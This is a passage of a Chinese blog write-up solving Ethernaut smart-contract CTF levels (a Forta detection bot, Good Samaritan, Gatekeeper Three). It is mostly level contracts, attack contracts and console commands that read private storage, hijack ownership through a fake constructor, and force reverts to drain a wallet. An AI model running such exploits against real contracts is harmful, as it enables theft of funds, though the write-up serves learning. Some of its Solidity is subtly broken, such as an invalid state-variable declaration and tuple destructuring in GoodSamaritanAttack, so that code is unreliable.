    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract AlertBot is IDetectionBot {
    address private cryptoVault;

    constructor(address _cryptoVault) public {
        cryptoVault = _cryptoVault;
    }

    function handleTransaction(address user, bytes calldata msgData) external override {

        address origSender;
        assembly {
            origSender := calldataload(0xa8)
        }

        if(origSender == cryptoVault) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}

部署上述合约后,获得地址0x38977718DC4ed97440060a7cC065FEadC43EF995,修改合约中的机器人地址:

fortaAddress = await contract.forta()
detectionBotAddress = '38977718DC4ed97440060a7cC065FEadC43EF995'
web3.utils.keccak256('setDetectionBot(address)')
'0x9e927c686457d61946f62ee085aea4bf59c36754253995951bb435ea8d75e9e3'
selector = '0x9e927c68'
param = web3.utils.padLeft(detectionBotAddress, 64)
await web3.eth.sendTransaction({from: player, to: fortaAddress, data: selector + param})

Good Samaritan

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

**通关条件:**将合约Wallet中的余额变为零。

想要将其清零,要么每次获取10个,要么触发异常,使得wallet.transferRemainder(msg.sender)能够被执行,前面的方式不现实,因为合约Wallet中的余额被初始化为$10^6$,而后者关键在于如何能够触发异常。

观察Coin合约,我们可以知道,当转账方是一个合约账号时候,会尝试运行其notify函数,也就是说这一点我们是可以控制的。

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface INotifyable {
    function notify(uint256 amount) external;
}

contract GoodSamaritanAttack is INotifyable{
	
	error NotEnoughBalance();
	address instance public;
	constructor(address _instance){
		instance = _instance;
	}

	function attack()public{
		(bool success, _) = instance.call(
			abi.encodeWithSignature("requestDonation()")
		);
		require(success);
	}

	function notify(uint256 amount) external{
		if(amount == 10){
   			revert NotEnoughBalance();	
   		}
   }
}

Gatekeeper Three

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }
    
  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }
    
  function trickInit() public {
    trick = address(this);
  }
    
  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allow_enterance = false;
  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allow_enterance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allow_enterance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree returns (bool entered) {
    entrant = tx.origin;
    return true;
  }

  receive () external payable {}
}

**通关条件:**成功调用enter,并将entrant修改为我们的地址。

gateOne有两个条件对于第二个条件,我们借助一个攻击合约即可,即合约地址作为owner,攻击合约想要成为owner,直接调用假的构造函数即可。

对于gateTwo,我们需要调用getAllowance函数并传入一个密码,而该秘密存放在合约SimpleTrick 中,虽然是private类型,但是我们可以通关web3.eth.getStorageAt(address,index)的方式获取。

对于gateThree,需要合约GatekeeperThree 中的以太币大于0.001,且要求该合约向owner,即我们的攻击合约转账时候失败,那我们直接将我们的合约设置成拒绝接收以太币即可,攻击合约如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperThreeAttack{
	address public instance;
	
	constructor(address _instance){
		instance = _instance;
	}
	
	function beOwner()public{
		(bool success, bytes memory data) = instance.call(
                abi.encodeWithSignature("construct0r()")
            );
        require(success);
	}
	
	function change_allow_enterance(uint pwd)public{
		(bool success, bytes memory data) = instance.call(
                abi.encodeWithSignature("getAllowance(uint256)", pwd)
            );
        require(success);
	}
	
	function attack()public{
		(bool success, bytes memory data) = instance.call(
                abi.encodeWithSignature("enter()")
            );
        require(success);
	}
}

部署上面攻击合约后,先调用beOwner函数,将攻击合约变成GatekeeperThreeowner

然后我们在控制台中,输入以下内容,部署一个SimpleTrick合约:

await contract.createTrick()

然后获取其地址:

await contract.trick()
// '0xe5CD5D17bA2E5A4d68982FdB47FC28E933d9B5Fa'

获取其内的密码:

await web3.eth.getStorageAt('0xe5CD5D17bA2E5A4d68982FdB47FC28E933d9B5Fa',2)
// '0x0000000000000000000000000000000000000000000000000000000064196c58'

然后调用攻击合约中的change_allow_enterance,并将0x64196c58传入,确保allow_enterance为真

await contract.allow_enterance() == true

然后向GatekeeperThree 转入0.0011以太币,确保到账

await getBalance(instance)
// 0.0011

然后调用攻击合约中的attack函数,确保调用正常:

await contract.entrant() == player
// true

写在最后

磕磕碰碰,花了一个多月,终于完(chao)成(wan)了所有关卡了,许多关卡设计得挺有意思的,但是有些关卡难度不是一般大😭。

历史评论
开始评论